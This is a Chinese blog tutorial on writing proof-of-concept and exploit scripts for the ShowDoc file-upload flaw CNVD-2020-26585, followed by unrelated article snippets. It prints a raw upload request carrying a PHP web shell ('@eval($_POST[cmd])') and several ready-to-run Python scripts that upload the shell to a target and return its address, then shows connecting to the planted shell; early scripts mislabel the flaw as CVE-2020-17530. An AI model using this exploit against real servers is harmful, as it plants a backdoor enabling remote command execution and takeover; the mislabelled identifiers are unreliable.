当前位置: 首页 > news >正文

POCEXP编写—文件上传案例

POC&EXP编写—文件上传案例

  • 1. 前言
  • 2. 文件上传案例
    • 2.1. Burp抓包
    • 2.2. 基础代码实践
      • 2.2.1. 优化代码
    • 2.3. 整体代码
      • 2.3.1. 木马测试

1. 前言

之前的文章基本上都是一些相对来说都是验证类的或者说是一些代码执行类的,相对来说都不是太复杂,而这篇会涉及到文件上传的案例,很多类似于代码执行这些,在编写的时候主要需要注意的就是执行完后,返回来的结果如何展现出来。

还有误报的情况,关于出现误报,多数都是在返回的内容上判断没有做到唯一性,例如:phpinfo,可能不单单有漏洞在返回中有这个单词,还有可能正常情况下返回值也有这个单词,那不就出现误报了么?

2. 文件上传案例

这里我们拿的是showdoc 文件上传 (cnvd-2020-26585)漏洞来做测试,至于漏洞的复现自行去了解,这里不做复现过程。

参考:showdoc 文件上传 (CNVD-2020-26585)复现 - 代码天地 (codetd.com)

2.1. Burp抓包

这里我们看一下Burp抓包显示的内容,这里如何将内容导出来,之前也说过了这里也不再赘述。

Burp中POC:

POST /index.php?s=/home/page/uploadImg HTTP/1.1
Host: vulfocus.fofa.so:57700 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617
Content-Length: 265----------------------------921378126371623762173617
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain<?php echo '123_test';@eval($_POST[cmd])?>
----------------------------921378126371623762173617--

image-20240513115632704

2.2. 基础代码实践

这里的代码基础实现,相当于木马已经上传上去了,但是我们需要的是返回木马地址,不然为什么要去做文件上传的EXP呢?同时关于代码我也不做解释,类似headers、data,甚至post请求都是Burp帮你生成的,剩下的代码也不复杂。

import requestsburp0_url = "http://123.58.224.8:25235/index.php?s=/home/page/uploadImg"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)","Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Connection": "close","Content-Type": "multipart/form-data; boundary=--------------------------921378126371623762173617"}
burp0_data = ("----------------------------921378126371623762173617\r\nContent-Disposition: form-data; ""name=\"editormd-image-file\"; filename=\"test.<>php\"\r\nContent-Type: text/plain\r\n\r\n<?php echo ""'123_test';@eval($_POST[cmd])?>\r\n----------------------------921378126371623762173617--")
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(r.text)
if "http:" in r.text and "Public" in r.text:print(f"[+]存在CVE-2020-17530远程命令执行漏洞")
else:print(f"[-]不存在CVE-2020-17530远程命令执行漏洞")

image-20240513115947645

这里也能看出来,返回了一条带有URL地址的返回内容,但是这个地址我们还需要手动修改比较麻烦,那么有没有什么办法解决了?

2.2.1. 优化代码

这里就是加入了json()解析,将内容解析成好理解的方式,但是根据不通的返回内容,可能需要做其他的一些操作,才能够实现,而这里相对来说简单一点。

import requestsburp0_url = "http://123.58.224.8:25235/index.php?s=/home/page/uploadImg"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)","Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Connection": "close","Content-Type": "multipart/form-data; boundary=--------------------------921378126371623762173617"}
burp0_data = ("----------------------------921378126371623762173617\r\nContent-Disposition: form-data; ""name=\"editormd-image-file\"; filename=\"test.<>php\"\r\nContent-Type: text/plain\r\n\r\n<?php echo ""'123_test';@eval($_POST[cmd])?>\r\n----------------------------921378126371623762173617--")
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(r.text)
if "http:" in r.text and "Public" in r.text:json = r.json()  ## 解析JSON响应file_url = json['url'] ## 提取并格式化URLprint(file_url)  ##可删除,测试使用formatted_url = file_url.replace("\\/", "/") ## 如果需要,将反斜杠替换为斜杠print(f"[+]存在CVE-2020-17530远程命令执行漏洞,上传的文件url为:{formatted_url}")
else:print(f"[-]不存在CVE-2020-17530远程命令执行漏洞")

image-20240513120545349

2.3. 整体代码

这里的整体代码就是添加上相关的一些选项,以及一些输入输出,而这个并非是最好的代码,例如没对用户输入的内容进行二次格式化或者控制输入的内容,或者说添加一些代理池、线程池等等~~

这些就靠自己添加吧。

import argparse
import requests
import sysdef exp(url, port):payload = "/index.php?s=/home/page/uploadImg"url1 = f"{url}:{port}{payload}"headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)","Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Connection": "close","Content-Type": "multipart/form-data; boundary=--------------------------921378126371623762173617"}data = ("----------------------------921378126371623762173617\r\nContent-Disposition: form-data; ""name=\"editormd-image-file\"; filename=\"test.<>php\"\r\nContent-Type: text/plain\r\n\r\n<?php echo ""'123_test';@eval($_POST[cmd])?>\r\n----------------------------921378126371623762173617--")try:r = requests.post(url1, headers=headers, data=data, verify=False, timeout=5, allow_redirects=False)if "http:" in r.text and "Public" in r.text:json = r.json()file_url = json['url']formatted_url = file_url.replace("\\/", "/")print(f"[+]{url}存在showdoc文件上传 CNVD-2020-26585 漏洞")print(f"木马访问地址:{formatted_url}")else:print(f"[-]{url}不存在showdoc文件上传 CNVD-2020-26585 漏洞")except Exception as e:print(f"[-]{url}存在异常,请检查!")sys.exit(1)def main():banner = """## ### # # ##      ### ### ### ###     ### ### ### ### ### 
#   # # # # # #       # # #   # # #       # #   #   # # #   
#   # # # # # # ### ### # # ### # # ### ### ### ### ### ### 
#   # # # # # #     #   # # #   # #     #   # #   # # #   # ## # #  #  ##      ### ### ### ###     ### ### ### ### ###"""print(banner)print("Vulnerability version: 2.8.3 以下版本")parser = argparse.ArgumentParser()parser.add_argument("-u", dest="url", required=True, type=str, default=None, help="Vulnerability IP")parser.add_argument("-p", dest="port", required=False, type=int, default=80,help="The default vulnerability port is 80")args = parser.parse_args()exp(args.url, args.port)if __name__ == '__main__':main()

image-20240513121139428

2.3.1. 木马测试

链接参数:

image-20240513121428796

输入相关的链接参数后,就可以使用添加链接了,可以看到是成功链接上来了。
image-20240513121346160

相关文章:

POCEXP编写—文件上传案例

POC&EXP编写—文件上传案例 1. 前言2. 文件上传案例2.1. Burp抓包2.2. 基础代码实践2.2.1. 优化代码 2.3. 整体代码2.3.1. 木马测试 1. 前言 之前的文章基本上都是一些相对来说都是验证类的或者说是一些代码执行类的&#xff0c;相对来说都不是太复杂&#xff0c;而这篇会…...

C#知识|上位机UI设计-详情窗体设计思路及流程(实例)

哈喽,你好啊,我是雷工! 上两节练习记录了登录窗体和主窗体的实现过程,本节继续练习内容窗体的实现,以下为练习笔记。 01 详情窗体效果展示: 02 添加窗体并设置属性 在之前练习项目的基础上添加一个Windows窗体,设置名称为:FrmIPManage.cs 设置窗体的边框和标题栏的外…...

目标检测——印度车辆数据集

引言 亲爱的读者们&#xff0c;您是否在寻找某个特定的数据集&#xff0c;用于研究或项目实践&#xff1f;欢迎您在评论区留言&#xff0c;或者通过公众号私信告诉我&#xff0c;您想要的数据集的类型主题。小编会竭尽全力为您寻找&#xff0c;并在找到后第一时间与您分享。 …...

Zotero Word中插入带超链接的参考文献

Zotero 超链接 找了好多原代码&#xff0c;最接近能实施的为&#xff1a; https://blog.csdn.net/weixin_47244593/article/details/129072589 但是&#xff0c;就是向他说的一样会报错&#xff0c;我修改了代码&#xff0c;遇见报错的地方会直接跳过不执行&#xff0c;事后找…...

如何在服务器上下载,解压github上的代码

在github上找到对应仓库&#xff0c;找到平时download zip的地方&#xff0c;右键它&#xff0c;复制链接。在远程的终端里使用wget 链接 命令就可以得到zip了。 解压方法&#xff1a; -c &#xff1a;新建打包文件 -t &#xff1a;查看打包文件的内容含有哪些文件名 -x &…...

BGP学习二:BGP通告原则,BGP反射器,BGP路径属性细致讲解,新手小白无负担

目录 一.AS号 二.BGP路由生成 1.network 2.import-route引入 三.BGP通告原则 1.只发布最优且有效的路由 2.从EBGP获取的路由&#xff0c;会发布给所有对等体 3.水平分割原则 4.IBGP学习BGP默认不发送给EBGP&#xff0c;但如果也从IGP学习到了这条路由&#xff0c;就发…...

Docker学习(带图详细)

一、安装docker 参考官方文档&#xff1a;https://docs.docker.com/engine/install/centos/ 查看系统版本 [rootlocalhost ~]# cat /etc/redhat-release CentOS Linux release 7.9.2009 (Core) [rootlocalhost ~]# [rootlocalhost ~]# uname -a Linux localhost.localdomai…...

RabbitMQ 如何使用延迟队列

RabbitMQ 如何使用延迟队列 目录 前置条件场景描述RabbitMQ 延迟队列机制实现步骤 1. 安装 RabbitMQ 延迟队列插件2. 创建延迟队列和交换机3. 发布延迟消息4. 消费延迟消息 示例代码 1. 延迟队列配置2. 发布消息的 Producer 代码3. 消费消息的 Consumer 代码 注意事项 前置条…...

【C++】栈和队列

目录 前言 一、stack 1. 栈的定义 2. 成员函数 二、queue 1. 队列的定义 2. 成员函数 三、priority_queue 1. 优先队列的定义 2. 成员函数 前言 栈和队列是STL中很重要的两个容器&#xff0c;栈的特点是先进后出&#xff1b;队列的特点是先进先出。还有优先队列&…...

常用的预编码算法学习

一、概况 预编码算法的常用实现方式有以下几种: 1. 间隔预编码(Interval Pre-coding):该算法将原始数据分成若干个间隔,然后对每个间隔内的数据进行编码。间隔的长度可以根据具体情况进行选择,常见的间隔长度有固定长度和可变长度两种方式。 2. 迭代预编码(Iterative…...

人才培养计划大纲

构建全面而高效的人才培养规划 文章大纲&#xff1a; 引言 人才培养的重要性当前人才培养面临的挑战文章目的与结构人才培养规划的基本概念 定义与内涵人才培养规划与企业战略的关系人才培养规划的基本原则人才培养规划的现状分析 当前人才培养规划的实践情况存在的问题与不足…...

多语言环境下的正则表达式实战:校验整数、小数

在软件开发中&#xff0c;正则表达式是验证用户输入数据格式的强大工具&#xff0c;特别是在处理表单验证时。本文将通过JavaScript、Java、Python、C、Rust、Go、C六种编程语言展示如何使用正则表达式来校验输入是否为整数或小数&#xff0c;特别强调小数点后最多保留两位的场…...

过拟合和欠拟合的学习

1.什么拟合 就是说这个曲线能不能很好地描述某些样本数据&#xff0c;并且拥有较好的泛化能力。 2.什么是过拟合 过拟合就是曲线太过于贴切训练数据的特征了&#xff0c;在训练集上表现得非常优秀&#xff0c;近乎完美的预测/区分了所有得数据&#xff0c;但是在新的测试集上…...

中间件的使用

中间件是全局使用 工厂函数定义中间件 middleware.py # 工厂函数的中间件 def simple_middleware(get_response):def middleware(request):print("在视图函数处理之前执行、、、、、")response get_response(request)print("在视图函数处理之后执行。。。。…...

阿里云OSS权限开通步骤及最佳实践

在阿里云云计算平台中&#xff0c;对象存储服务&#xff08;OSS&#xff09;是一种高度可扩展的云存储服务&#xff0c;提供了安全、可靠、低成本的数据存储解决方案。在使用OSS时&#xff0c;正确配置权限是至关重要的&#xff0c;以确保数据的安全性和访问控制。本文将介绍阿…...

【Python贪吃蛇】:编码技巧与游戏设计的完美结合

文章目录 &#x1f525;一、运行效果&#x1f4a5;二、游戏教程✈1. 导入模块❤️2. 初始化游戏元素☔3. 改变蛇移动的方向&#x1f44a;4. 绘制方块&#x1f680;5. 检查蛇头是否在游戏区域内&#x1f308;6. 定义蛇的移动函数&#x1f3ac;7. 绑定键盘事件 ⭐三、完整代码 &a…...

2024.5.19 机器学习周报

引言 Abstract 文献阅读 1、题目 X-HRNET: TOWARDS LIGHTWEIGHT HUMAN POSE ESTIMATION WITH SPATIALLY UNIDIMENSIONAL SELF-ATTENTION 2、引言 高分辨率表示是人体姿态估计实现高性能所必需的&#xff0c;随之而来的问题是高计算复杂度。特别地&#xff0c;主要的姿态估…...

母亲节祝福html源码示例

创建一个完整的HTML页面&#xff0c;我可以为您提供一个简单的HTML模板&#xff0c;其中包含一些示例性的祝福语&#xff0c;并添加一些注释以帮助您理解如何扩展内容。 <!DOCTYPE html> <html lang"zh-CN"><head><meta charset"UTF-8&qu…...

微信小程序开发中的权限管理与用户身份验证:守护数据安全与用户体验

微信小程序开发中的权限管理与用户身份验证&#xff1a;守护数据安全与用户体验 引言 在微信小程序开发中&#xff0c;权限管理和用户身份验证是确保数据安全、保护用户隐私以及提供个性化服务的关键环节。本文将深入探讨微信小程序中如何实现权限管理和用户身份验证&#xf…...

Python3 笔记:二进制的转换

十进制是逢十进一&#xff0c;二进制就是逢二进一。 十进制里最大的数字是9&#xff0c;二进制里最大的数字是1。 11010010001000010000010000001000000010^0110^11010^210010^3100010^41000010^510000010^6100000010^7100000002^012^122^242^382^4162^5322^6642^7128 1、十进…...

H3C交换机vlan隔离常见配置错误排查指南(附HCL模拟器案例)

H3C交换机VLAN隔离配置实战&#xff1a;从原理到排错的深度指南 在当今企业网络架构中&#xff0c;VLAN隔离技术已经成为网络分段和安全策略的基础支柱。作为网络管理员&#xff0c;我们经常需要在H3C交换机上配置VLAN隔离来实现不同部门或业务单元之间的逻辑隔离。然而&#…...

毕业季求生指南:用百考通AI重塑你的论文写作全流程

深夜的电脑屏幕前&#xff0c;面对空白的文档和堆积如山的文献&#xff0c;你是否感到无从下手&#xff1f;当查重率居高不下、导师的修改意见密密麻麻时&#xff0c;是否渴望一种更智能的解决方案&#xff1f;本文将为你揭示一个学术写作的新可能。 01 开题之困&#xff1a;从…...

光影魔术师:看LiuJuan Z-Image如何生成电影感氛围人像

光影魔术师&#xff1a;看LiuJuan Z-Image如何生成电影感氛围人像 1. 引言&#xff1a;重新定义AI人像生成标准 在数字内容爆炸式增长的今天&#xff0c;高质量人像图片的需求从未如此强烈。从电商产品展示到社交媒体内容创作&#xff0c;从游戏角色设计到影视概念预览&#…...

s2-pro语音合成应用:法律文书语音播报——专业术语与标点精准处理

s2-pro语音合成应用&#xff1a;法律文书语音播报——专业术语与标点精准处理 1. 专业语音合成的法律场景需求 在法律行业中&#xff0c;文书语音播报有着特殊而严格的要求。传统语音合成技术在处理法律文书时常常面临以下挑战&#xff1a; 专业术语发音不准&#xff1a;如&…...

AI系统-21AI芯片之NoC总线

在大型SoC芯片&#xff0c;特别是AI SoC中&#xff0c;存在多个异构核子系统&#xff0c;非常的大和复杂。对应芯片设计中&#xff0c;一个重要的技术就是NoC&#xff0c;要想富先修路&#xff0c;NoC就是通信的路。而且SoC把很多硬件模块集成到一个芯片上就是为了让路好走&…...

Z-Image-GGUF在软件测试中的应用:自动化生成测试用例示意图

Z-Image-GGUF在软件测试中的应用&#xff1a;自动化生成测试用例示意图 你是不是也遇到过这样的场景&#xff1f;写测试用例文档时&#xff0c;为了描述一个复杂的用户操作流程&#xff0c;绞尽脑汁写了半天文字&#xff0c;结果评审时&#xff0c;开发同事还是没完全看懂&…...

Guohua Diffusion 快速入门:三步完成星图GPU平台一键部署

Guohua Diffusion 快速入门&#xff1a;三步完成星图GPU平台一键部署 想试试AI绘画&#xff0c;但被复杂的安装和环境配置劝退&#xff1f;今天&#xff0c;咱们就来聊聊怎么用最简单的方式&#xff0c;在星图GPU平台上玩转Guohua Diffusion。整个过程&#xff0c;你只需要点三…...

Polars 2.0 + Delta Lake + DuckDB三端协同清洗方案(附GitHub Star 1.2k的私有化部署模板)

第一章&#xff1a;Polars 2.0 Delta Lake DuckDB三端协同清洗方案概览现代数据工程正面临高吞吐、低延迟与强一致性三重挑战。Polars 2.0 以 Rust 驱动的惰性执行引擎提供亚毫秒级列式计算能力&#xff1b;Delta Lake 2.4 引入统一元数据协议与事务日志快照机制&#xff0c;…...

Proxifier规则配置避坑指南:如何精准放行微信/QQ流量,让你的渗透测试更丝滑

Proxifier规则配置实战&#xff1a;精准分流社交软件流量的高阶技巧 渗透测试工程师们对Proxifier这款工具应该都不陌生——它就像网络流量的交通指挥官&#xff0c;能精准地将不同应用程序的请求导向代理或直连通道。但实际使用中&#xff0c;不少人都遇到过这样的尴尬&#x…...

DeerFlow参数详解:vLLM服务日志排查(llm.log/bootstrap.log)实战

DeerFlow参数详解&#xff1a;vLLM服务日志排查&#xff08;llm.log/bootstrap.log&#xff09;实战 1. 认识DeerFlow&#xff1a;您的智能研究助手 DeerFlow是字节跳动基于LangStack技术框架开发的深度研究开源项目&#xff0c;它就像是您的个人研究团队&#xff0c;整合了语…...